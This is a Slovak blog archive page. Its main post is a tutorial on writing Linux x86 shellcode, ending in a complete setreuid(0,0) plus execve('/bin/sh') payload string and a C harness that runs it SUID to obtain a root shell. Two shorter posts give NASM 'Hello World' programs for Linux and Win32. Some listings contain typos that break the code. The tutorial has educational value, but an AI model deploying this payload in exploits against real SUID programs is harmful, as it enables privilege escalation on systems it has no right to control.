Archív

Archív pre kategóriu ‘Assembler a cracking’

Základy linuxového shellkódu

September 17th, 2009 admin Žiadne komentáre

Po prečítaní tohto článku budete schopný napísať svoj vlastný shellkód.

Výrazom shellkód sa označuje sebestačný kus binárneho kódu, ktorý vykoná nejakú úlohu. Úlohou môže byť čokoľvek, od spustenia systémového príkazu až na poskytnutie shellu útočníkovi (čo pôvodne bývala jediná úloha shellkódu, odtiaľ názov shell kód). Shellkód sa dá napísať v zásade troma rôznymi spôsobmi:

  • Priamym zápisom kódov inštrukcií.
  • Napísaním programu v nejakom vyššom jazyku (napríklad C), prekladom a následným disassemblování (viď článok), ktorým dostanete kódy inštrukcií.
  • Napísaním programu v assembleri, jeho prekladom a prečítaním kódov inštrukcií z výsledného programu.

Priame písanie kódov inštrukcií je trochu extrémny šport – my začneme písaním shellkódu pomocou C, ale rýchlo sa presunieme k assembleru. Tak ako tak budete musieť rozumieť nízkoúrovňovým funkciám pre čítanie, zápis a spúšťanie. Tieto funkcie poskytuje jadro, takže sa najprv v stručnosti pozrieme na komunikáciu medzi užívateľskými procesy a jadrom.

Systémové volania

Operačný systém slúži ako vrstva medzi používateľom (procesy) a hardvérom. Pre komunikáciu s operačným systémom slúžia tri základné nástroje:

  • Hardvérové prerušenia, napríklad asynchrónny signál z klávesnice.
  • Hardwarové pasce, napríklad pokus o delenie nulou.
  • Softvérové pasce, napríklad požiadavka na spustenie procesu.

Softvérové pasce sú pre etický hacking najdôležitejšie, pretože procesu umožňujú podľa potreby komunikovať s jadrom. Jadro užívateľovi poskytuje abstraktné rozhranie k základným funkciám systému, toto rozhranie sa skladá z takzvaných systémových volaní. Zoznam systémových volaní Linuxu a ich čísel nájdete v súbore /usr/include/asm/unistd:

#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_
/*
 *  This file contains  the  system call  numbers.
 */
#define __NR_restart_syscall      0
#define __NR_exit		  1
#define __NR_fork		  2
#define __NR_read		  3
#define __NR_write		  4
#define __NR_open		  5
#define __NR_close		  6
#define __NR_waitpid		  7
#define __NR_creat		  8
#define __NR_link		  9
#define __NR_unlink		 10
#define __NR_execve		 11
#define __NR_chdir		 12
#define __NR_time		 13
#define __NR_mknod		 14
#define __NR_chmod		 15
#define __NR_lchown		 16
#define __NR_break		 17
#define __NR_oldstat		 18
#define __NR_lseek		 19
#define __NR_getpid		 20
#define __NR_mount		 21
#define __NR_umount		 22
#define __NR_setuid		 23
#define __NR_getuid		 24
#define __NR_stime		 25
/* atd. atd. */
#define __NR_setreuid		 70
/* atd. atd. */
#define __NR_socketcall		102

V ďalšej časti sa pozrieme, ako sa systémové volania používajú; začneme v C.

Systémové volania v C

V jazyku C sa systémové volania používajú ľahko, pretože sú obalené knižničným funkciami – stačí zavolať knižničnú funkciu a odovzdať jej vhodný počet parametrov. Signatúry funkcií najľahšie nájdete pomocou príkazu man – keby vás zaujímalo povedzme volanie execve, zadali by ste:

$man 2 execve

Tento príkaz zobrazí nasledujúce stránku:

EXECVE(2)                              Linux Programmer's Manuál       EXECVE(2)
NAME
                    execve - execute program
SYNOPSIS
                    #include 
                    int execve (const char *filename, char *const argv [], char *const envp[])
...

V ďalšom texte si ukážeme, ako sa systémové volania dajú použiť priamo z assembleru.

Systémové volania v assembleri

Pri volaní systémových funkcií z assembleru musíte ručne naplniť registre. Do registra EAX sa ukladá číslo systémového volania (pozri výpis súboru unistd.h vyššie) a do registrov EBX, ECX, EDX, ESI a EDI postupne prvý až piaty parameter systémového volania. Ak je parametrov menej, príslušné registre nastavovať nemusíte. Keď je parametrov viac ako päť, musíte do pamäti uložiť ako pole, ktorého adresu potom odovzdáte v registri EBX.

Akonáhle sú registre nastavené, príkazom

int 0x80

vyvoláte softvérové prerušenie, jadro preruší svoju aktuálnu činnosť a začne spracovávať vašu požiadavku. Najprv si skontroluje správnosť parametrov, potom hodnoty registrov skopíruje do adresového priestoru jadra a podľa tabuľky prerušení (IDT: Interrupt Descriptor Table) prerušenie obslúži.

Celý proces najlepšie pochopíte na príklade, viď nasledujúci text.

Systémové volanie exit

Prvé systémové volanie, na ktoré sa pozrieme, jednoducho ukončí program. Má číslo 1 (pozri výpis súboru unistd.h vyššie), volá sa exit a v jazyku C mu zodpovedá funkcia exit. Má jediný parameter, ktorým je návratová hodnota programu. Keďže ide o náš prvý pokus so systémovými volaniami, začneme v C.

Systémové volania exit (0) v C zavoláte takto:

$ cat exit.c
#include <stdlib.h>
main () {
      exit(0);
}

Schválne si program skúste preložiť. Pri preklade pridajte parameter -static, aby bolo súčasťou výsledného programu aj telo funkcie exit:

$ gcc -static -o exit exit.c

Teraz si spustite gdb (parameter -q zapína tichý režim, v ktorom gdb nevypisuje úvodné texty), nastavte breakpoint na funkciu main, príkazom r spustite program a príkazom disass _exit si nechajte disassemblerovať funkciu _exit:

$ gdb exit  -q
(gdb)   b main
Breakpoint  1 at  0x80481d6
(gdb)   r
Starting program: /root/clanok/exit
Breakpoint 1, 0x080481d6 in main ()
(gdb) disass _exit
Dump of assembler code for function exit:
0x804c56c <_exit>	mov	0x4(%esp,1),%ebx
0x804c570 <_exit+4>	mov	$0xfc,%eax
0x804c575 <_exit+9>	int	$0x80
0x804c577 <_exit+11>	mov	$0x1,%eax
0x804c57c <_exit+16>	int	$0x80
0x804c57e <_exit+18>	hlt

Ako vidíte, funkcia začína načítaním prvého parametra (v našom prípade nula) do registra EBX. Na riadku označenom ako _exit+11 sa do registra EAX uloží číslo systémového volania (0×1) a potom dôjde k prerušeniu (int $0×80). Všimnite si, že prekladač sám od seba pridal ešte volania funkcie exit_group (systémové volanie čísla Oxfc resp. 252) – ta funguje uplně rovnako ako exit, ale ukončí všetky vlákna v aktuálnej skupine. Toto volanie navyše pridali ľudia, ktorí pre našu konkrétnu linuxovou distribúciu balili libc. Vo väčšine prípadov sa hodí, ale my si v shellkóde nadbytočné volania funkcií dovoliť nemôžeme, a tak sa budete musieť naučiť písať shellkód priamo v assembleri :-)

Prechod k assembleru

Jemný pohľad na vyššie uvedený koci funkcie exit prezradí, že nejde o žiadnu čiernu mágiu. To isté by ste pomocou assembleru ľahko dokázali urobiť sami:

$ cat exit.asm
section .text ; zacina kod programu
global _start
_start: ; označením začiatku si ušetríme problémy s linkerom
xor eax, eax; bezpečná skratka pre vynulovanie registra EAX (pozri text)
xor ebx, ebx; bezpečná skratka pre vynulovanie registra EBX
mov al, 0x01; keď pracujeme len s jedným bajtom, vyhneme
    ; sa zarovnaniu na plných 32 bitov registra EAX (pozri text)
int 0x80; volanie jadra

Volanie funkcie exit_group sme vynechali, pretože nie je potreba. Použitím príkazu xor na jeden a ten istý register sa obsah registra vynuluje. To je praktickejšie ako príkaz typu mov ax, pretože ten by do výsledného binárneho kódu vložil znak null, a náš shellkód by potom po uložení do reťazca končil predčasne. Z rovnakého dôvodu sa vyhýbame príkazu mov eax, 0×01, pretože ten by hodnotu uloženú do registra automaticky zarovnal na veľkosť registra, výsledný hexadecimálny kód by bol b8 01 00 00 00, a reťazec so shellkódom by opäť skončil predčasne. Keď použijeme najnižšiu jednobajtovú časť registra EAX tak nedôjde k zarovnaniu čísla na štyri bajty.

Preklad, zostavenie a testovanie

Zostáva dať všetko dohromady. Zdrojový kód v assembleri môžeme preložiť pomocou NASM, zostaviť pomocou ld a konečne spustiť:

$ nasm -f elf exit.asm
$ ld exit.o -o exit
$ ./exit

Moc sa toho nestalo, pretože sme jednoducho zavolali exit(0) a program ukončili. Našťastie máme ešte jednu možnosť, ako zistiť, čo presne sa v programe deje.

Sledovanie pomocou strace

Ak potrebujete overiť, aké systémové volania program volá, pomôže vám program strace:

$ strace ./exit
execve (./exit, [./exit], [/* 26 vars */]) = 0
_exit (0) = ?

Ako vidíte, program skutočne vykonal systémové volanie _exit(0). Skúsme teraz nejaké iné systémové volanie.

Systémové volanie setreuid

Cieľom nášho simulovaného útoku bude často nejaký SUID program. Dobre napísané SUID programy ale k väčším právam siahajú len vtedy, keď ich potrebujú – preto je často potrebné prepnúť na vyššie práva ručne. K tomu sa dá použiť systémové vo setreuid, ktoré dokáže obnoviť alebo nastaviť skutočné a efektívne oprávnenia procesu.

Parametre volania setreuid

Systémove volanie setreuid má číslo 70 (0×46, pozri súbor unistd.h vyššie) a dva parametre. Prvý parameter (register EBX) je skutočné ID používateľa resp RUID (real user ID), v našom prípade nula (root). Druhý parameter, ktorý sa ukladá do registra ECX, je efektívne ID užívateľa resp EUID, ktoré je v našom prípade opäť nulové.

Volanie z assembleru

Systémové volanie setreuid(0,0) vykoná nasledujúci kód v assembleri:

$ cat setreuid.asm
section. text; začiatok oddielu s kódom
global _start; deklarácia globálneho návestia
_start: ; aby linker nemusel hádať a nesťažoval si
xor eax, eax; vynulovať register EAX, aby sme ho mohli v ďalšom
  ; riadku nastaviť
mov al, 0x46; nastaviť spodný bajt EAX na číslo volania (0x46 = 70)
xor ebx, ebx; vynulovať register EBX
xor ecx, ecx; vynulovať register ECX
int 0x80; zavolať systém
mov al, 0x01; nastaviť číslo volania na jedna (exit)
int 0x80; zavolať systém

Ako vidíte, jednoducho naplníme registre a zavoláme int 0×80. Program opäť končí volaním exit(0), ktoré je tentoraz o niečo jednoduchšie, pretože register EBX už obsahuje nulu.

Preklad, zostavenie a testovanie

Zdrojový kód ako zvyčajne preložte pomocou NASM, zostavte pomocou ld a spustite:

$ nasm -f elf setreuid.asm
$ ld -o setreuid setreuid.o
$ ./setreuid

Overovanie pomocou strace

Navonok toho opäť moc nespoznáte, pomôže vám strace:

$ strace ./setreuid
execve(./setreuid, [./setreuid], [/* 26 vars */]) = 0
setreuid(0, 0) = 0
_exit (O) = ?

Presne ako sme čakali!

Spustenie shellu pomocou execve

Programy sa dajú v Linuxe spustiť niekoľkými rôznymi spôsobmi, jedným z najčastejších je systémové volanie execve. My si pomocou tohto volania skúsime spustiť program /bin/sh.

Systémové volanie execve

Podľa man stránky by spustenie programu /bin/sh funkciou execve vyzeralo približne takto:

char* shell[2]; // pomocné pole na dva reťazce
shell[0] = "/bin/sh"; // prvy prvok poľa nastavíme na "/bin/sh"
shell[1] = NULL; // druhý prvok nastavíme na NULL
execve(shell[0], shell, NULL); // zavoláme execve

V assembleri by volanie execve vyzeralo nasledovne:

  • EAX = OXB čiže 11. Technicky vzaté musíte na 0xb nastaviť AL, inak by zase došlo k zarovnanie čísla nulami.
  • EBX = adresa reťazca /bin/sh uloženého niekde v pamäti.
  • ECX = adresa poľa reťazcov, ktoré začína predchádzajúcim /bin/sh a končí na null.
  • EDX = jednoducho 0×0, pretože tretí parameter môže byť null.

Jediným problémom je zostavenie reťazca /bin/sh a práca s jeho adresou. My použijeme chytrý trik a reťazec zostavíme z dvoch kusov na zásobníku, takže adresu potrebnú pre parametre volania potom odvodíme z adresy zásobníka.

Volanie z assembleru

Nasledujúci assemblerový program najprv zavolá setreuid(0,0) a potom execve /bin/sh:

$ cat sc2.asm
section .text ; začiatok oddielu s kódom
global _start ; deklarácie globálneho návestí 
_start: ; označovanie kódu návestím je praktický zvyk
xor eax, eax ; vynulovanie registra EAX, príprava na ďalší riadok 
mov al, 0x46 ; systémové volanie číslo 0x46 alebo 70, jeden bajt
xor ebx, ebx ; vynulovanie registra ebx 
xor ecx, ecx ; vynulovanie registra ecx 
int 0x80 ; volanie systému
; spustenie shellu pomocou execve 
xor eax, eax ; vynulovanie registra eax 
push eax ; na vrchol zásobníka uložíme NULL 
push 0x68732f2f ; pridáme reťazec "//sh", doplnený úvodným lomítkom
push 0x6e69622f ; a reťazec /bin (všimnite si, že sú oba reťazce odzadu) 
mov ebx, esp ; esp teraz ukazuje na "/bin/sh", takže ho uložíme do ebx
push eax ; eax je stále nulový, môžeme ním ukončiť char** argv na zásobníku
push ebx ; ešte raz adresa "/bin/sh", máme ju v ebx
mov ecx, esp ; adresa argv je v esp, uložíme ju do ecx
xor edx, edx ; nastavíme edx na nulu (NULL), nie je potreba 
mov al, 0xb ; systémové volanie 0xb = 11, jeden bajt
int 0x80 ; volanie systému

Ako vidíte, reťazec /bin/sh na zásobník skladáme odzadu. Najprv príde ukončovací NULL, potom //sh (reťazec musí mať štyri bajty, aby sa správne zarovnal, a dvojité lomítko nič nepokazí) a nakoniec /bin. V tomto okamihu už máme na zásobníku všetko, čo potrebujeme, takže adresu reťazca nájdeme v ESP. Zvyšok kódu je len nastavenie parametrov volania execve pomocou elegantného využitia zásobníka a hodnôt registrov.

Preklad, zostavenie a testovanie

Hotový shellkód si môžete vyskúšať, stačí preložiť pomocou NASM, zostaviť pomocou ld, nastaviť setuid bit a spustiť:

$ nasm -f elf sc2.asm 
$ ld -o sc2 sc2.o 
$ sudo chown root sc2 
$ sudo chmod +s sc2 
$ ./sc2 
sh-2.05b# exit
exit
$

Hurá! Funguje!

Ako získať kódy inštrukcií

Nezabudnite na to, že ak svoj shellkód chceme použiť v rámci exploitu, musíme z neho urobiť reťazec. Šestnástkové kódy inštrukcií dostanete jednoducho pomocou programu objdump, disassemblerovanie sa zapína parametrom -d:

$ objdump -d ./sc2
./sc2: file formát elf32-i386

Disassemblerovaná sekcia .text:

08048080 <_start>:		
8048080 31 cO xor %eax, %eax
8048082 bO 46 mov $0x46,%al
; atd

Najdôležitejšie je pozrieť sa, či medzi kódmi nie sú znaky null (0×00). Keby sa tam nejaké našli, shellkód by sa nedal priamo použiť ako reťazec do exploitu.

Testovanie shellkódu

Aby sme sa uistili, že pre náš shellkód bude skutočne fungovať aj v rámci reťazca, vyrobíme si nasledujúci testovací program. Všimnite si, že sa reťazec so shellkódem dá rozdeliť na samostatné riadky s jednou inštrukciou. Výsledok je oveľa čitateľnejší, takže sa vám tento zvyk oplatí.

$ cat sc2.c
char sc[] =  // biele znaky (napríklad konce riadkov) sa nepočítajú
// setreuid(0,0)
"\x31\xc0"      //     xor         %eax,%eax
"\xb0\x46"      //     mov         $0x46,%al
"\x31\xdb"      //     xor         %ebx,%ebx
"\x31\xc9"      //     xor         %ecx,%ecx
"\xcd\x80"      //     int         $0x80
// spustit shell pomocou execve
"\x31\xc0"     //     xor         %eax,%eax
"\x50"           //     push       %eax
"\x68\x2f\x2f\x73\x68"   //     push       $0x68732f2f
"\x68\x2f\x62\x69\x6e"  //     push       $0x6e69622f
"\x89\xe3"      //     mov         %esp,%ebx
"\x50"           //     push       %eax
"\x53"         //     push       %ebx
"\x89\xel"   //     mov         %esp,%ecx
"\x31\xd2"  //     xor         %edx,%edx
"\xb0\x0b"  //     mov         $0xb,%al
"\xcd\x80";  //     int         $0x80, podkočiarkou (;) končí reťazec
void main () ( 
     void (*fp) (void);   // deklarujeme ukazovateľ na funkciu, 
     fp = (void*) sc, / / nastavíme ho na adresu shellkódu 
     fp (); // a spustíme funkciu (alebo shellkód)
)

Program sa začne tým, že shellkód uloží do bufferu s menom sc. Ďalej vytvori ukazovateľ fp, čo je obyčajné štvorbajtové celé číslo používané ako ukazovateľ na nejakú funkciu. Tento ukazovateľ nastaví na adresu shellkódu, ktorý nakoniec spustí.

Kód si preložte a vyskúšajte:

$ gcc -o sc2 sc2.c 
$ sudo chown root sc2 
$ sudo chmod +s sc2 *
$ ./sc2
sh-2.05b# exit 
exit

Ako sa dalo čakať, dostali sme rovnaké výsledky ako minule. Gratulujeme, teraz môžete začať s písaním svojho vlastného kódu.

VN:F [1.9.3_1094]
Rating: 0.0/10 (0 votes cast)
Categories: Shellkód Tags:

Assembler – Linux

September 6th, 2009 admin Žiadne komentáre

I pod operačným systémom Linux bude náš program vypisovať na obrazovku Hello, World! Pripomeňme si, že existujú špeciálne číselné identifikátory súboru STDIN STDOUT a STDERR. Náš program “Hello World” bude vypisovať tento text na obrazovku (teda zapisovať na zariadenie STDOUT) a potom skončí.
Teraz si ukážeme, ako zapísať do súboru, teda na STDOUT.
Ak sa pozrieme do do súboru unistd.h, zistíme, že systémové volanie pre zápis do súboru sa volá write.

WRITE (2) Linux Programmer’s Manual WRITE (2)
NAME
write – write to a file descriptor
Synopsis

#include <unistd.h>;
ssize_t write (int fd, const void *buf, size_t count);

Prvý zádrhel, píšeme v assembleri, ale manuálová stránka nám dáva prototyp systémového volania write v jazyku C. Ak nepoznáte jazyk C, bude sa vám prototyp čítať horšie, to však neznamená, že nebudete môcť vylúštiť, čo kam uložiť. V assembleri môžeme do registra zapísať buď priamo hodnotu alebo adresu. Myslím, že môžeme prijať zjednodušenie, že všetky parametre odovzdávame hodnotou, okrem parametrov označených hviezdičkou (to je ukazovateľ).
Funkcia write vyžaduje tri parametre, podobne ako v DOSe: identifikačné číslo súboru (handle), ukazovateľ (adresa) na dala, ktoré sa majú uložiť (vidíte, je tam napísané *buf), a počet bajtov, ktoré chceme zapísať. Výstupom funkcie je počet skutočne zapísaných byte alebo chyba. Poruchový stav rozpoznáme od zapísaných bajtov tak, že vždy ide o záporné číslo.
Zdrojový program preložíme překladačom NASM do objektového súboru, ktorý zostavíme zostavovacím programom ld. Získame tak spustiteľný súbor, ktorý na obrazovku vypíše Hello, World!

Pre preklad použijeme verziu prekladače NASM pre Linux. Objektový súbor typu elf vytvoríme prepínačom -f elf.
Program Id bude potrebovať adresu prvej inštrukcie, ktorá sa bude vykonávať po zavedení programu do pamäti. V zdrojovom programe označíme miesto prvej inštrukcie špeciálnym globálnom návestím _start.
Rovnako ako v OS DOS musíme program rozložiť do programových sekcií.
Program Hello, World! by mohol vyzerať takto:

SECTION .text 
global _start; aby linker vedel, kde je začiatok nášho programu, musíme definovať globálne symbol, _start 
_start: 
mov eax, 4; prvý parameter, čislo systémového volania 
mov EBX, 1; vieme, že konštanta STDOUT má hodnotu 1 
mov ecx, hello ; prekladač sem doplní adresu reťazca hello 
mov edx, 012 ; počet znakov reťazca Hello World! vrátane odradkovania
int 0x80 ; zavoláme jadro 
; pripojíme aj kód potrebný pre ukončenie programu 
mov eax, 1; číslo volania jadra - exit 
mov EBX, 0 ; návratový kód 0 
int 0x80 ; zavoláme jadro a tak ukončíme náš proces (program) 
 
SECTION .data 
hello db "Hello, world!", 0xa; náš reťazec vrátane nového riadku 
len equ $ - hello ;  symbolu len bude priradená dĺžka reťazca

Program preložíme ľahko:

nasm -f elf hello.asm

A zostavíme linker ld.

ld -s -o hello hello.o

Parameter -o udáva meno výsledného spustiteľného súboru. Parametrom -s chceme odstrániť všetky nepotrebné (symbolické) informácie.
Výsledný program môžeme spustiť príkazom:

./ Hello
Hello World!

VN:F [1.9.3_1094]
Rating: 10.0/10 (2 votes cast)
Categories: Assembler x86 Tags:

Assembler – Windows API

September 6th, 2009 admin Žiadne komentáre

MessageBox

Navrhovaný program má vytvoriť dialógové okno a skončiť. Dialógové okno vytvoríme volaním API funkcie MessageBox a o ukončenie programu sa postaráme funkciou rozhrania API nazývanou ExitProcess.
V dokumentácii k MessageBox sa dočítame:

int MessageBox ( 
IFWND hWnd, // handle of owner window 
LPCTSTR lpText, // address of text in message box 
LPCTSTR lpCaption, // address of title of message box 
UINT Utype // style of message box 
);

Prvým parametrom bude popisovač vlastného okna. Žiadny nemáme, preto predáme nulu. Druhým parametrom je ukazovateľ na text, ktorý sa v dialógovom okne zobrazí (klasický reťazec zakončený nulovým byte), tretím ukazovateľom je text titulku okna. Posledný parameter určuje typ dialógového okna (použijeme symbolickú konštantu MB_OK – z include súboru, viď ďalej).
Druhé volanie API funkcie ExitProcess, rovnako ako v DOSe, svojím jediným parametrom určuje chybový kód ukončeného programu. Po jeho zavolaní program skončí.
Aby bol život programátora v assembleri jednoduchší, bol vytvorený “include súbor” win32n.inc, v ktorom sú definované všetky typy parametrov API (napr. HWND aj LPCTSTR zodpovedajú v assembleri obyčajnému dvojslovu – dword) i hodnoty symbolických konštánt. Do programu tento súbor vložíme direktívou include:

%include "win32n.inc"; vložíme súbor win32n.inc

Použité API funkcie uložené v dynamických knižniciach nesmieme zabudnúť sprístupniť nášmu programu. Stačí použiť direktívy EXTERN a IMPORT:

EXTERN MessageBox ; symbol MessageBox je definovaný inde
IMPORT MessageBox user32.dll ; konkrétne v user32.dll
EXTERN ExitProcess ; symbol ExitProcess je definovaný inde
IMPORT ExitProcess kernel32.dll ; konkrétne v kernel32.dll

Zostáva vyriešil jediný problém: Ako odovzdať API funkciám jednotlivé parametre. Zoznámime sa tu len stručne s odovzdávacími konvenciiami parametrov rozhrania Win32 API.
Predávaciia konvencia sa volá STDCALL. Parametre sa odovzdávajú cez zásobník sprava doľava (ako v jazyku C), vymazanie zásobníka vykonáva volaný (ako v jazyku Pascal).
Na zásobník uložíme parametre inštrukciami PUSH, požadovanú funkciu zavoláme nepriamo inštrukciou CALL, o vymazanie zásobníka sa nemusíme starať. Celý program bude vyzerať nasledovne (pro prekladac NASM):

% include "win32n.inc" ; vložíme súbor win32n.inc 
EXTERN MessageBox ; symbol MessageBox je definovaný inde
IMPORT MessageBox user32.dll ; konkrétne v user32.dll 
EXTERN ExitProcess  ; symbol ExitProcess je definovaný inde 
IMPORT ExitProcess kernel32.dll ; konkrétne v kernel32.dll 
 
SECTION CODE USE32 CLASS = CODE ; začiatok kódovej sekcie 
.start: ; špeciálne návestie pre linker, ktoré označuje vstupný bod programu z (entrypointu) 
push UINT MB OK ; na zásobník uložíme posledný parameter, dialógové okno bude mať len tlačidlo OK 
push LPCTSTR titulok ; na zásobník vložíme adresu reťazca ukončeného nulovým byte, ktorý sa zobrazí ako titulok okna 
push LPCTSTR napis ; na zásobník vložíme adresu reťazca ukončeného nulovým byte, ktorý sa zobrazí ako text okna 
push HWND NULL ; na zásobník uložíme nulu, žiadne nadradené okno nemáme 
call [MessageBox] ; zavoláme API - vytvoríme dialógové okno návrat až po stlačení tlačidla OK
 
push  UINT NULL                                     ;vrátime  rodičovi  nulový  chybový  kód
call   [ExitProcess]                                  ;ukončíme proces
 
SECTION  DATA  USE32   CLASS=DATA
 
napis  db   'Hello  world',OxD,OxA,0 ;reťazec Hello,   World! vrátane odriadkovania 
titulek  db   'Hello", 0                                  ;titulok okna  bude  hello
VN:F [1.9.3_1094]
Rating: 0.0/10 (0 votes cast)
Categories: Assembler x86 Tags: